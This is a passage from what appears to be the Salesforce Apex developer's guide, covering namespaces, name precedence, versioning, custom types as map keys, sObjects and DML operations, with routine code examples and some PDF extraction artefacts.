2. Name Shadowing

Naming Conventions
We recommend following Java standards for naming, that is, classes start with a capital letter, methods start with a lowercase verb, and
variable names should be meaningful.
It is not legal to define a class and interface with the same name in the same class. It is also not legal for an inner class to have the same
name as its outer class. However, methods and variables have their own namespaces within the class so these three types of names do
not clash with each other. In particular it is legal for a variable, method, and a class within a class to have the same name.

100

Classes, Objects, and Interfaces

Name Shadowing

Name Shadowing
Member variables can be shadowed by local variablesin particular function arguments. This allows methods and constructors of the
standard Java form:
Public Class Shadow {
String s;
Shadow(String s) { this.s = s; } // Same name ok
setS(String s) { this.s = s; } // Same name ok
}

Member variables in one class can shadow member variables with the same name in a parent classes. This can be useful if the two classes
are in different top-level classes and written by different teams. For example, if one has a reference to a class C and wants to gain access
to a member variable M in parent class P (with the same name as a member variable in C) the reference should be assigned to a reference
to P first.
Static variables can be shadowed across the class hierarchyso if P defines a static S, a subclass C can also declare a static S. References
to S inside C refer to that staticin order to reference the one in P, the syntax P.S must be used.
Static class variables cannot be referenced through a class instance. They must be referenced using the raw variable name by itself (inside
that top-level class file) or prefixed with the class name. For example:
public class p1 {
public static final Integer CLASS_INT = 1;
public class c { };
}
p1.c c = new p1.c();
// This is illegal
// Integer i = c.CLASS_INT;
// This is correct
Integer i = p1.CLASS_INT;

Namespace Prefix
The Salesforce application supports the use of namespace prefixes. Namespace prefixes are used in managed Force.com AppExchange
packages to differentiate custom object and field names from those in use by other organizations. After a developer registers a globally
unique namespace prefix and registers it with AppExchange registry, external references to custom object and field names in the
developer's managed packages take on the following long format:
namespace_prefix__obj_or_field_name__c

Because these fully-qualified names can be onerous to update in working SOQL statements, SOSL statements, and Apex once a class is
marked as managed, Apex supports a default namespace for schema names. When looking at identifiers, the parser considers the
namespace of the current object and then assumes that it is the namespace of all other objects and fields unless otherwise specified.
Consequently, a stored class should refer to custom object and field names directly (using obj_or_field_name__c) for those
objects that are defined within its same application namespace.
Tip: Only use namespace prefixes when referring to custom objects and fields in managed packages that have been installed to
your organization from theAppExchange.

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Using the System Namespace

Using Namespaces When Invoking Package Methods

To invoke a method that is defined in a managed package, Apex allows fully-qualified identifiers of the form:
namespace_prefix.class.method(args)

IN THIS SECTION:
1. Using the System Namespace
2. Using the Schema Namespace
The Schema namespace provides classes and methods for working with schema metadata information. We implicitly import
Schema.*, but you need to fully qualify your uses of Schema namespace elements when they have naming conflicts with items
in your unmanaged code. If your org contains an Apex class that has the same name as an sObject, add the Schema namespace
prefix to the sObject name in your code.
3. Namespace, Class, and Variable Name Precedence
4. Type Resolution and System Namespace for Types

Using the System Namespace

The System namespace is the default namespace in Apex. This means that you can omit the namespace when creating a new instance
of a system class or when calling a system method. For example, because the built-in URL class is in the System namespace, both of
these statements to create an instance of the URL class are equivalent:
System.URL url1 = new System.URL('https://yourInstance.salesforce.com/');

And:
URL url1 = new URL('https://yourInstance.salesforce.com/');

Similarly, to call a static method on the URL class, you can write either of the following:
System.URL.getCurrentRequestUrl();

Or:
URL.getCurrentRequestUrl();

Note: In addition to the System namespace, there is a built-in System class in the System namespace, which provides
methods like assertEquals and debug. Dont get confused by the fact that both the namespace and the class have the
same name in this case. The System.debug('debug message'); and System.System.debug('debug
message'); statements are equivalent.

Using the System Namespace for Disambiguation

It is easier to not include the System namespace when calling static methods of system classes, but there are situations where you
must include the System namespace to differentiate the built-in Apex classes from custom Apex classes with the same name. If your
organization contains Apex classes that youve defined with the same name as a built-in class, the Apex runtime defaults to your custom
class and calls the methods in your class. Lets take a look at the following example.

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Using the Schema Namespace

Create this custom Apex class:

public class Database {
public static String query() {
return 'wherefore art thou namespace?';
}
}

Execute this statement in the Developer Console:

sObject[] acct = Database.query('SELECT Name FROM Account LIMIT 1');
System.debug(acct[0].get('Name'));

When the Database.query statement executes, Apex looks up the query method on the custom Database class first. However,
the query method in this class doesnt take any parameters and no match is found, hence you get an error. The custom Database
class overrides the built-in Database class in the System namespace. To solve this problem, add the System namespace prefix
to the class name to explicitly instruct the Apex runtime to call the query method on the built-in Database class in the System
namespace:
sObject[] acct = System.Database.query('SELECT Name FROM Account LIMIT 1');
System.debug(acct[0].get('Name'));

Using the Schema Namespace

The Schema namespace provides classes and methods for working with schema metadata information. We implicitly import Schema.*,
but you need to fully qualify your uses of Schema namespace elements when they have naming conflicts with items in your unmanaged
code. If your org contains an Apex class that has the same name as an sObject, add the Schema namespace prefix to the sObject name
in your code.
You can omit the namespace when creating an instance of a schema class or when calling a schema method. For example, because the
DescribeSObjectResult and FieldSet classes are in the Schema namespace, these code segments are equivalent.
Schema.DescribeSObjectResult d = Account.sObjectType.getDescribe();
Map<String, Schema.FieldSet> FSMap = d.fieldSets.getMap();

And:
DescribeSObjectResult d = Account.sObjectType.getDescribe();
Map<String, FieldSet> FSMap = d.fieldSets.getMap();

Using the Schema Namespace for Disambiguation

Use Schema.object_name to refer to an sObject that has the same name as a custom class. This disambiguation instructs the
Apex runtime to use the sObject.
public class Account {
public Integer myInteger;
}
// ...

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Namespace, Class, and Variable Name Precedence

Schema.Account myAccountSObject = new Schema.Account();

Account accountClassInstance = new Account();
myAccountSObject.Name = 'Snazzy Account';
accountClassInstance.myInteger = 1;

Namespace, Class, and Variable Name Precedence

Because local variables, class names, and namespaces can all hypothetically use the same identifiers, the Apex parser evaluates expressions
in the form of name1.name2.[...].nameN as follows:
1. The parser first assumes that name1 is a local variable with name2 - nameN as field references.
2. If the first assumption does not hold true, the parser then assumes that name1 is a class name and name2 is a static variable name
with name3 - nameN as field references.
3. If the second assumption does not hold true, the parser then assumes that name1 is a namespace name, name2 is a class name,
name3 is a static variable name, and name4 - nameN are field references.
4. If the third assumption does not hold true, the parser reports an error.
If the expression ends with a set of parentheses (for example, name1.name2.[...].nameM.nameN()), the Apex parser evaluates
the expression as follows:
1. The parser first assumes that name1 is a local variable with name2 - nameM as field references, and nameN as a method
invocation.
2. If the first assumption does not hold true:
If the expression contains only two identifiers (name1.name2()), the parser then assumes that name1 is a class name and
name2 is a method invocation.
If the expression contains more than two identifiers, the parser then assumes that name1 is a class name, name2 is a static
variable name with name3 - nameM as field references, and nameN is a method invocation.
3. If the second assumption does not hold true, the parser then assumes that name1 is a namespace name, name2 is a class name,
name3 is a static variable name, name4 - nameM are field references, and nameN is a method invocation.
4. If the third assumption does not hold true, the parser reports an error.
However, with class variables Apex also uses dot notation to reference member variables. Those member variables might refer to other
class instances, or they might refer to an sObject which has its own dot notation rules to refer to field names (possibly navigating foreign
keys).
Once you enter an sObject field in the expression, the remainder of the expression stays within the sObject domain, that is, sObject fields
cannot refer back to Apex expressions.
For instance, if you have the following class:
public class c {
c1 c1 = new c1();
class c1 { c2 c2; }
class c2 { Account a; }
}

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Type Resolution and System Namespace for Types

Then the following expressions are all legal:

c.c1.c2.a.name
c.c1.c2.a.owner.lastName.toLowerCase()
c.c1.c2.a.tasks
c.c1.c2.a.contacts.size()

Type Resolution and System Namespace for Types

Because the type system must resolve user-defined types defined locally or in other classes, the Apex parser evaluates types as follows:
1. For a type reference TypeN, the parser first looks up that type as a scalar type.
2. If TypeN is not found, the parser looks up locally defined types.
3. If TypeN still is not found, the parser looks up a class of that name.
4. If TypeN still is not found, the parser looks up system types such as sObjects.
For the type T1.T2 this could mean an inner type T2 in a top-level class T1, or it could mean a top-level class T2 in the namespace
T1 (in that order of precedence).

Apex Code Versions

To aid backwards-compatibility, classes and triggers are stored with the version settings for a specific Salesforce API version. If an Apex
class or trigger references components, such as a custom object, in installed managed packages, the version settings for each managed
package referenced by the class are saved too. This ensures that as Apex, the API, and the components in managed packages evolve in
subsequent released versions, a class or trigger is still bound to versions with specific, known behavior.
Setting a version for an installed package determines the exposed interface and behavior of any Apex code in the installed package. This
allows you to continue to reference Apex that may be deprecated in the latest version of an installed package, if you installed a version
of the package before the code was deprecated.
Typically, you reference the latest Salesforce API version and each installed package version. If you save an Apex class or trigger without
specifying the Salesforce API version, the class or trigger is associated with the latest installed version by default. If you save an Apex
class or trigger that references a managed package without specifying a version of the managed package, the class or trigger is associated
with the latest installed version of the managed package by default.

Versioning of Apex Classes and Methods

When classes and methods are added to the Apex language, those classes and methods are available to all API versions your Apex code
is saved with, regardless of the API version (Salesforce release) they were introduced in. For example, if a method was added in API
version 33.0, you can use this method in a custom class saved with API version 33.0 or another class saved with API version 25.0.
There is one exception to this rule. The classes and methods of the ConnectApi namespace are supported only in the API versions
specified in the documentation. For example, if a class or method is introduced in API version 33.0, it is not available in earlier versions.
For more information, see ConnectApi Versioning and Equality Checking on page 348.
IN THIS SECTION:
1. Setting the Salesforce API Version for Classes and Triggers
2. Setting Package Versions for Apex Classes and Triggers

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Setting the Salesforce API Version for Classes and Triggers

To set the Salesforce API and Apex version for a class or trigger:
1. Edit either a class or trigger, and click Version Settings.
2. Select the Version of the Salesforce API. This is also the version of Apex associated with the class or trigger.
3. Click Save.
If you pass an object as a parameter in a method call from one Apex class, C1, to another class, C2, and C2 has different fields exposed
due to the Salesforce API version setting, the fields in the objects are controlled by the version settings of C2.
Using the following example, the Categories field is set to null after calling the insertIdea method in class C2 from a
method in the test class C1, because the Categories field is not available in version 13.0 of the API.
The first class is saved using Salesforce API version 13.0:
// This class is saved using Salesforce API version 13.0
// Version 13.0 does not include the Idea.categories field
global class C2
{
global Idea insertIdea(Idea a) {
insert a; // category field set to null on insert
// retrieve the new idea
Idea insertedIdea = [SELECT title FROM Idea WHERE Id =:a.Id];
return insertedIdea;
}
}

The following class is saved using Salesforce API version 16.0:

@isTest
// This class is bound to API version 16.0 by Version Settings
private class C1
{
static testMethod void testC2Method() {
Idea i = new Idea();
i.CommunityId = '09aD000000004YCIAY';
i.Title = 'Testing Version Settings';
i.Body = 'Categories field is included in API version 16.0';
i.Categories = 'test';
C2 c2 = new C2();
Idea returnedIdea = c2.insertIdea(i);
// retrieve the new idea
Idea ideaMoreFields = [SELECT title, categories FROM Idea
WHERE Id = :returnedIdea.Id];
// assert that the categories field from the object created
// in this class is not null
System.assert(i.Categories != null);
// assert that the categories field created in C2 is null
System.assert(ideaMoreFields.Categories == null);
}
}

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Setting Package Versions for Apex Classes and Triggers

To configure the package version settings for a class or trigger:
1. Edit either a class or trigger, and click Version Settings.
2. Select a Version for each managed package referenced by the class or trigger. This version of the managed package will continue
to be used by the class or trigger if later versions of the managed package are installed, unless you manually update the version
setting. To add an installed managed package to the settings list, select a package from the list of available packages. The list is only
displayed if you have an installed managed package that is not already associated with the class or trigger.
3. Click Save.
Note the following when working with package version settings:
If you save an Apex class or trigger that references a managed package without specifying a version of the managed package, the
Apex class or trigger is associated with the latest installed version of the managed package by default.
You cannot Remove a class or trigger's version setting for a managed package if the package is referenced in the class or trigger.
Use Show Dependencies to find where a managed package is referenced by a class or trigger.

Lists of Custom Types and Sorting

Lists can hold objects of your user-defined types (your Apex classes). Lists of user-defined types can be sorted.
To sort such a list using the List.sort method, your Apex classes must implement the Comparable interface.
The sort criteria and sort order depends on the implementation that you provide for the compareTo method of the Comparable
interface. For more information on implementing the Comparable interface for your own classes, see the Comparable Interface.

Using Custom Types in Map Keys and Sets

You can add instances of your own Apex classes to maps and sets.
For maps, instances of your Apex classes can be added either as keys or values, but if you add them as keys, there are some special rules
that your class must implement for the map to function correctly, that is, for the key to fetch the right value. Similarly, if set elements are
instances of your custom class, your class must follow those same rules.
Warning: If the object in your map keys or set elements changes after being added to the collection, it wont be found anymore
because of changed field values.
When using a custom type (your Apex class) for the map key or set elements, provide equals and hashCode methods in your
class. Apex uses these two methods to determine equality and uniqueness of keys for your objects.

Adding equals and hashCode Methods to Your Class

To ensure that map keys of your custom type are compared correctly and their uniqueness can be determined consistently, provide an
implementation of the following two methods in your class:
The equals method with this signature:
public Boolean equals(Object obj) {
// Your implementation
}

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Using Custom Types in Map Keys and Sets

Keep in mind the following when implementing the equals method. Assuming x, y, and z are non-null instances of your class,
the equals method must be:
Reflexive: x.equals(x)
Symmetric: x.equals(y) should return true if and only if y.equals(x) returns true
Transitive: if x.equals(y) returns true and y.equals(z) returns true, then x.equals(z) should return true
Consistent: multiple invocations of x.equals(y) consistently return true or consistently return false
For any non-null reference value x, x.equals(null) should return false
The equals method in Apex is based on the equals method in Java.
The hashCode method with this signature:
public Integer hashCode() {
// Your implementation
}

Keep in mind the following when implementing the hashCode method.

If the hashCode method is invoked on the same object more than once during execution of an Apex request, it must return
the same value.
If two objects are equal, based on the equals method, hashCode must return the same value.
If two objects are unequal, based on the result of the equals method, it is not required that hashCode return distinct
values.
The hashCode method in Apex is based on the hashCode method in Java.
Another benefit of providing the equals method in your class is that it simplifies comparing your objects. You will be able to use the
== operator to compare objects, or the equals method. For example:
// obj1 and obj2 are instances of MyClass
if (obj1 == obj2) {
// Do something
}
if (obj1.equals(obj2)) {
// Do something
}

Sample
This sample shows how to implement the equals and hashCode methods. The class that provides those methods is listed first. It
also contains a constructor that takes two Integers. The second example is a code snippet that creates three objects of the class, two of
which have the same values. Next, map entries are added using the pair objects as keys. The sample verifies that the map has only two
entries since the entry that was added last has the same key as the first entry, and hence, overwrote it. The sample then uses the ==
operator, which works as expected because the class implements equals. Also, some additional map operations are performed, like
checking whether the map contains certain keys, and writing all keys and values to the debug log. Finally, the sample creates a set and
adds the same objects to it. It verifies that the set size is two, since only two objects out of the three are unique.
public class PairNumbers {
Integer x,y;
public PairNumbers(Integer a, Integer b) {

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Using Custom Types in Map Keys and Sets

x=a;
y=b;
}
public Boolean equals(Object obj) {
if (obj instanceof PairNumbers) {
PairNumbers p = (PairNumbers)obj;
return ((x==p.x) && (y==p.y));
}
return false;
}
public Integer hashCode() {
return (31 * x) ^ y;
}
}

This code snippet makes use of the PairNumbers class.

Map<PairNumbers, String> m = new Map<PairNumbers, String>();
PairNumbers p1 = new PairNumbers(1,2);
PairNumbers p2 = new PairNumbers(3,4);
// Duplicate key
PairNumbers p3 = new PairNumbers(1,2);
m.put(p1, 'first');
m.put(p2, 'second');
m.put(p3, 'third');
// Map size is 2 because the entry with
// the duplicate key overwrote the first entry.
System.assertEquals(2, m.size());
// Use the == operator
if (p1 == p3) {
System.debug('p1 and p3 are equal.');
}
// Perform some other operations
System.assertEquals(true, m.containsKey(p1));
System.assertEquals(true, m.containsKey(p2));
System.assertEquals(false, m.containsKey(new PairNumbers(5,6)));
for(PairNumbers pn : m.keySet()) {
System.debug('Key: ' + pn);
}
List<String> mValues = m.values();
System.debug('m.values: ' + mValues);
// Create a set
Set<PairNumbers> s1 = new Set<PairNumbers>();
s1.add(p1);
s1.add(p2);
s1.add(p3);

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Using Custom Types in Map Keys and Sets

// Verify that we have only two elements

// since the p3 is equal to p1.
System.assertEquals(2, s1.size());

110

CHAPTER 7
In this chapter ...

sObject Types

Adding and
Retrieving Data

DML

SOQL and SOSL

Queries

SOQL For Loops

sObject Collections

Dynamic Apex

Apex Security and

Sharing

Custom Settings

Working with Data in Apex

This chapter describes how you can add and interact with data in the Force.com platform persistence
layer. In this chapter, youll learn about the main data type that holds data objectsthe sObject data
type. Youll also learn about the language used to manipulate dataData Manipulation Language (DML),
and query languages used to retrieve data, such as the (), among other things. This chapter also explains
the use of custom settings in Apex.

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Working with Data in Apex

sObject Types

sObject Types
In this developer's guide, the term sObject refers to any object that can be stored in the Force.com platform database. An sObject
variable represents a row of data and can only be declared in Apex using the SOAP API name of the object. For example:
Account a = new Account();
MyCustomObject__c co = new MyCustomObject__c();

Similar to the SOAP API, Apex allows the use of the generic sObject abstract type to represent any object. The sObject data type can be
used in code that processes different types of sObjects.
The new operator still requires a concrete sObject type, so all instances are specific sObjects. For example:
sObject s = new Account();

You can also use casting between the generic sObject type and the specific sObject type. For example:
// Cast the generic variable s from the example above
// into a specific account and account variable a
Account a = (Account)s;
// The following generates a runtime error
Contact c = (Contact)s;

Because sObjects work like objects, you can also have the following:
Object obj = s;
// and
a = (Account)obj;

DML operations work on variables declared as the generic sObject data type as well as with regular sObjects.
sObject variables are initialized to null, but can be assigned a valid object reference with the new operator. For example:
Account a = new Account();

Developers can also specify initial field values with comma-separated name = value pairs when instantiating a new sObject. For
example:
Account a = new Account(name = 'Acme', billingcity = 'San Francisco');

For information on accessing existing sObjects from the Force.com platform database, see SOQL and SOSL Queries in the Force.com
SOQL and SOSL Reference.
Note: The ID of an sObject is a read-only value and can never be modified explicitly in Apex unless it is cleared during a clone
operation, or is assigned with a constructor. The Force.com platform assigns ID values automatically when an object record is
initially inserted to the database for the first time. For more information see Lists on page 30.

Custom Labels
Custom labels are not standard sObjects. You cannot create a new instance of a custom label. You can only access the value of a custom
label using system.label.label_name. For example:
String errorMsg = System.Label.generic_error;

For more information on custom labels, see Custom Labels in the Salesforce online help.

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Working with Data in Apex

Accessing sObject Fields

As in Java, sObject fields can be accessed or changed with simple dot notation. For example:
Account a = new Account();
a.Name = 'Acme';
// Access the account name field and assign it 'Acme'

System generated fields, such as Created By or Last Modified Date, cannot be modified. If you try, the Apex runtime
engine generates an error. Additionally, formula field values and values for other fields that are read-only for the context user cannot be
changed.
If you use the generic sObject type instead of a specific object, such as Account, you can retrieve only the Id field using dot notation.
You can set the Id field for Apex code saved using Salesforce API version 27.0 and later). Alternatively, you can use the generic sObject
put and get methods. See sObject Class.
This example shows how you can access the Id field and operations that arent allowed on generic sObjects.
Account a = new Account(Name = 'Acme', BillingCity = 'San Francisco');
insert a;
sObject s = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1];
// This is allowed
ID id = s.Id;
// The following line results in an error when you try to save
String x = s.Name;
// This line results in an error when you try to save using API version 26.0 or earlier
s.Id = [SELECT Id FROM Account WHERE Name = 'Acme' LIMIT 1].Id;

Note: If your organization has enabled person accounts, you have two different kinds of accounts: business accounts and person
accounts. If your code creates a new account using name, a business account is created. If your code uses LastName, a person
account is created.
If you want to perform operations on an sObject, it is recommended that you first convert it into a specific object. For example:
Account a = new Account(Name = 'Acme', BillingCity = 'San Francisco');
insert a;
sObject s = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1];
ID id = s.ID;
Account convertedAccount = (Account)s;
convertedAccount.name = 'Acme2';
update convertedAccount;
Contact sal = new Contact(FirstName = 'Sal', Account = convertedAccount);

The following example shows how you can use SOSL over a set of records to determine their object types. Once you have converted
the generic sObject record into a Contact, Lead, or Account, you can modify its fields accordingly:
public class convertToCLA {
List<Contact> contacts;
List<Lead> leads;
List<Account> accounts;
public void convertType(Integer phoneNumber) {
List<List<sObject>> results = [FIND '4155557000'
IN Phone FIELDS
RETURNING Contact(Id, Phone, FirstName, LastName),
Lead(Id, Phone, FirstName, LastName), Account(Id, Phone, Name)];
sObject[] records = ((List<sObject>)results[0]);

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Validating sObjects and Fields

if (!records.isEmpty()) {
for (Integer i = 0; i < records.size(); i++) {
sObject record = records[i];
if (record.getSObjectType() == Contact.sObjectType) {
contacts.add((Contact) record);
} else if (record.getSObjectType() == Lead.sObjectType){
leads.add((Lead) record);
} else if (record.getSObjectType() == Account.sObjectType) {
accounts.add((Account) record);
}
}
}
}
}

Validating sObjects and Fields

When Apex code is parsed and validated, all sObject and field references are validated against actual object and field names, and a
parse-time exception is thrown when an invalid name is used.
In addition, the Apex parser tracks the custom objects and fields that are used, both in the code's syntax as well as in embedded SOQL
and SOSL statements. The platform prevents users from making the following types of modifications when those changes cause Apex
code to become invalid:
Changing a field or object name
Converting from one data type to another
Deleting a field or object
Making certain organization-wide changes, such as record sharing, field history tracking, or record types

Adding and Retrieving Data

Apex is tightly integrated with the Force.com platform persistence layer. Records in the database can be inserted and manipulated
through Apex directly using simple statements. The language in Apex that allows you to add and manage records in the database is the
Data Manipulation Language (DML). In contrast to the SOQL language, which is used for read operationsquerying records, DML is
used for write operations.
Before inserting or manipulating records, record data is created in memory as sObjects. The sObject data type is a generic data type and
corresponds to the data type of the variable that will hold the record data. There are specific data types, subtyped from the sObject data
type, which correspond to data types of standard object records, such as Account or Contact, and custom objects, such as
Invoice_Statement__c. Typically, you will work with these specific sObject data types. But sometimes, when you dont know the type
of the sObject in advance, you can work with the generic sObject data type. This is an example of how you can create a new specific
Account sObject and assign it to a variable.
Account a = new Account(Name='Account Example');

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Working with Data in Apex

DML

In the previous example, the account referenced by the variable a exists in memory with the required Name field. However, it is not
persisted yet to the Force.com platform persistence layer. You need to call DML statements to persist sObjects to the database. Here is
an example of creating and persisting this account using the insert statement.
Account a = new Account(Name='Account Example');
insert a;

Also, you can use DML to modify records that have already been inserted. Among the operations you can perform are record updates,
deletions, restoring records from the Recycle Bin, merging records, or converting leads. After querying for records, you get sObject
instances that you can modify and then persist the changes of. This is an example of querying for an existing record that has been
previously persisted, updating a couple of fields on the sObject representation of this record in memory, and then persisting this change
to the database.
// Query existing account.
Account a = [SELECT Name,Industry
FROM Account
WHERE Name='Account Example' LIMIT 1];
// Write the old values the debug log before updating them.
System.debug('Account Name before update: ' + a.Name); // Name is Account Example
System.debug('Account Industry before update: ' + a.Industry);// Industry is not set
// Modify the two fields on the sObject.
a.Name = 'Account of the Day';
a.Industry = 'Technology';
// Persist the changes.
update a;
// Get a new copy of the account from the database with the two fields.
Account a = [SELECT Name,Industry
FROM Account
WHERE Name='Account of the Day' LIMIT 1];
// Verify that updated field values were persisted.
System.assertEquals('Account of the Day', a.Name);
System.assertEquals('Technology', a.Industry);

System Context and Sharing Rules

Most DML operations execute in system context, ignoring the current user's permissions, field-level security, organization-wide defaults,
position in the role hierarchy, and sharing rules. For more information, see Enforcing Sharing Rules.
Note that if you execute DML operations within an anonymous block, they will execute using the current users object and field-level
permissions.

DML Operations
Inserting and Updating Records
Using DML, you can insert new records and commit them to the database. Similarly, you can update the field values of existing records.
This example shows how to insert three account records and update an existing account record. First, it creates three Account sObjects
and adds them to a list. It then performs a bulk insertion by inserting the list of accounts using one insert statement. Next, it queries
the second account record, updates the billing city, and calls the update statement to persist the change in the database.
Account[] accts = new List<Account>();
for(Integer i=0;i<3;i++) {
Account a = new Account(Name='Acme' + i,
BillingCity='San Francisco');
accts.add(a);
}
Account accountToUpdate;
try {
insert accts;
// Update account Acme2.
accountToUpdate =
[SELECT BillingCity FROM Account
WHERE Name='Acme2' AND BillingCity='San Francisco'
LIMIT 1];
// Update the billing city.
accountToUpdate.BillingCity = 'New York';
// Make the update call.
update accountToUpdate;
} catch(DmlException e) {
System.debug('An unexpected error has occurred: ' + e.getMessage());
}
// Verify that the billing city was updated to New York.
Account afterUpdate =
[SELECT BillingCity FROM Account WHERE Id=:accountToUpdate.Id];
System.assertEquals('New York', afterUpdate.BillingCity);

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Inserting Related Records

You can insert records related to existing records if a relationship has already been defined between the two objects, such as a lookup
or master-detail relationship. A record is associated with a related record through a foreign key ID. You can only set this foreign key ID
on the master record. For example, if inserting a new contact, you can specify the contact's related account record by setting the value
of the AccountId field.
This example shows how to add a contact to an account (the related record) by setting the AccountId field on the contact. Contact
and Account are linked through a lookup relationship.
try {
Account acct = new Account(Name='SFDC Account');
insert acct;
//
//
//
ID

Once the account is inserted, the sObject will be

populated with an ID.
Get this ID.
acctID = acct.ID;

// Add a contact to this account.

Contact con = new Contact(
FirstName='Joe',
LastName='Smith',
Phone='415.555.1212',
AccountId=acctID);
insert con;
} catch(DmlException e) {
System.debug('An unexpected error has occurred: ' + e.getMessage());
}

Updating Related Records

Fields on related records can't be updated with the same call to the DML operation and require a separate DML call. For example, if
inserting a new contact, you can specify the contact's related account record by setting the value of the AccountId field. However,
you can't change the account's name without updating the account itself with a separate DML call. Similarly, when updating a contact,
if you also want to update the contacts related account, you must make two DML calls. The following example updates a contact and
its related account using two update statements.
try {
// Query for the contact, which has been associated with an account.
Contact queriedContact = [SELECT Account.Name
FROM Contact
WHERE FirstName = 'Joe' AND LastName='Smith'
LIMIT 1];
// Update the contact's phone number
queriedContact.Phone = '415.555.1213';
// Update the related account industry
queriedContact.Account.Industry = 'Technology';
// Make two separate calls
// 1. This call is to update the contact's phone.
update queriedContact;

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// 2. This call is to update the related account's Industry field.

update queriedContact.Account;
} catch(Exception e) {
System.debug('An unexpected error has occurred: ' + e.getMessage());
}

Relating Records by Using an External ID

Add related records by using a custom external ID field on the parent record. Associating records through the external ID field is an
alternative to using the record ID. You can add a related record to another record only if a relationship has been defined for the objects
involved, such as a master-detail or lookup relationship.
To relate a record to its parent record with an external ID, the parent object must have a custom field marked as External ID. Create the
parent sObject with an external ID value, and then set this record as a nested sObject on the record you want to link.
This example shows how to relate a new opportunity to an existing account. The account has an external ID field, named MyExtID,
of type text. Before the new opportunity is inserted, the Account record is added to this opportunity as a nested sObject through the
Opportunity.Account relationship field. The Account sObject contains only the external ID field.
Opportunity newOpportunity = new Opportunity(
Name='OpportunityWithAccountInsert',
StageName='Prospecting',
CloseDate=Date.today().addDays(7));
// Create the parent record reference.
// An account with this external ID value already exists.
// This sObject is used only for foreign key reference
// and doesn't contain any other fields.
Account accountReference = new Account(
MyExtID__c='SAP111111');
// Add the nested account sObject to the opportunity.
newOpportunity.Account = accountReference;
// Create the opportunity.
Database.SaveResult results = Database.insert(newOpportunity);

The previous sample performs an insert operation, but you can also relate sObjects through external ID fields when performing updates
or upserts. If the parent record doesnt exist, you can create it with a separate DML statement or by using the same DML statement as
shown in Creating Parent and Child Records in a Single Statement Using Foreign Keys.

Creating Parent and Child Records in a Single Statement Using Foreign Keys
You can use external ID fields as foreign keys to create parent and child records of different sObject types in a single step instead of
creating the parent record first, querying its ID, and then creating the child record. To do this:
Create the child sObject and populate its required fields, and optionally other fields.
Create the parent reference sObject used only for setting the parent foreign key reference on the child sObject. This sObject has only
the external ID field defined and no other fields set.
Set the foreign key field of the child sObject to the parent reference sObject you just created.
Create another parent sObject to be passed to the insert statement. This sObject must have the required fields (and optionally
other fields) set in addition to the external ID field.

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Call insert by passing it an array of sObjects to create. The parent sObject must precede the child sObject in the array, that is,
the array index of the parent must be lower than the childs index.
You can create related records that are up to 10 levels deep. Also, the related records created in a single call must have different sObject
types. For more information, see Creating Records for Different Object Types in the SOAP API Developer's Guide.
The following example shows how to create an opportunity with a parent account using the same insert statement. The example
creates an Opportunity sObject and populates some of its fields, then creates two Account objects. The first account is only for the foreign
key relationship, and the second is for the account creation and has the account fields set. Both accounts have the external ID field,
MyExtID__c, set. Next, the sample calls Database.insert by passing it an array of sObjects. The first element in the array is
the parent sObject and the second is the opportunity sObject. The Database.insert statement creates the opportunity with its
parent account in a single step. Finally, the sample checks the results and writes the IDs of the created records to the debug log, or the
first error if record creation fails. This sample requires an external ID text field on Account called MyExtID.
public class ParentChildSample {
public static void InsertParentChild() {
Date dt = Date.today();
dt = dt.addDays(7);
Opportunity newOpportunity = new Opportunity(
Name='OpportunityWithAccountInsert',
StageName='Prospecting',
CloseDate=dt);
// Create the parent reference.
// Used only for foreign key reference
// and doesn't contain any other fields.
Account accountReference = new Account(
MyExtID__c='SAP111111');
newOpportunity.Account = accountReference;
// Create the Account object to insert.
// Same as above but has Name field.
// Used for the insert.
Account parentAccount = new Account(
Name='Hallie',
MyExtID__c='SAP111111');
// Create the account and the opportunity.
Database.SaveResult[] results = Database.insert(new SObject[] {
parentAccount, newOpportunity });
// Check results.
for (Integer i = 0; i < results.size(); i++) {
if (results[i].isSuccess()) {
System.debug('Successfully created ID: '
+ results[i].getId());
} else {
System.debug('Error: could not create sobject '
+ 'for array element ' + i + '.');
System.debug('
The error reported was: '
+ results[i].getErrors()[0].getMessage() + '\n');
}
}
}
}

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Upserting Records
Using the upsert operation, you can either insert or update an existing record in one call. To determine whether a record already
exists, the upsert statement or Database method uses the records ID as the key to match records, a custom external ID field, or a
standard field with the idLookup attribute set to true.
If the key is not matched, then a new object record is created.
If the key is matched once, then the existing object record is updated.
If the key is matched multiple times, then an error is generated and the object record is neither inserted or updated.
Note: Custom field matching is case-insensitive only if the custom field has the Unique and Treat "ABC" and "abc" as duplicate
values (case insensitive) attributes selected as part of the field definition. If this is the case, ABC123 is matched with abc123.
For more information, see Create Custom Fields.

Examples
The following example updates the city name for all existing accounts located in the city formerly known as Bombay, and also inserts a
new account located in San Francisco:
Account[] acctsList = [SELECT Id, Name, BillingCity
FROM Account WHERE BillingCity = 'Bombay'];
for (Account a : acctsList) {
a.BillingCity = 'Mumbai';
}
Account newAcct = new Account(Name = 'Acme', BillingCity = 'San Francisco');
acctsList.add(newAcct);
try {
upsert acctsList;
} catch (DmlException e) {
// Process exception here
}

Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 140.
This next example uses the Database.upsert method to upsert a collection of leads that are passed in. This example allows for
partial processing of records, that is, in case some records fail processing, the remaining records are still inserted or updated. It iterates
through the results and adds a new task to each record that was processed successfully. The task sObjects are saved in a list, which is
then bulk inserted. This example is followed by a test class that contains a test method for testing the example.
/* This class demonstrates and tests the use of the
* partial processing DML operations */
public class DmlSamples {
/* This method accepts a collection of lead records and
creates a task for the owner(s) of any leads that were
created as new, that is, not updated as a result of the upsert
operation */
public static List<Database.upsertResult> upsertLeads(List<Lead> leads)
/* Perform the upsert. In this case the unique identifier for the
insert or update decision is the Salesforce record ID. If the
record ID is null the row will be inserted, otherwise an update
will be attempted. */

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List<Database.upsertResult> uResults = Database.upsert(leads,false);

/* This is the list for new tasks that will be inserted when new
leads are created. */
List<Task> tasks = new List<Task>();
for(Database.upsertResult result:uResults) {
if (result.isSuccess() && result.isCreated())
tasks.add(new Task(Subject = 'Follow-up', WhoId = result.getId()));
}
/* If there are tasks to be inserted, insert them */
Database.insert(tasks);
return uResults;
}
}
@isTest
private class DmlSamplesTest {
public static testMethod void testUpsertLeads() {
/* We only need to test the insert side of upsert */
List<Lead> leads = new List<Lead>();
/* Create a set of leads for testing */
for(Integer i = 0;i < 100; i++) {
leads.add(new Lead(LastName = 'testLead', Company = 'testCompany'));
}
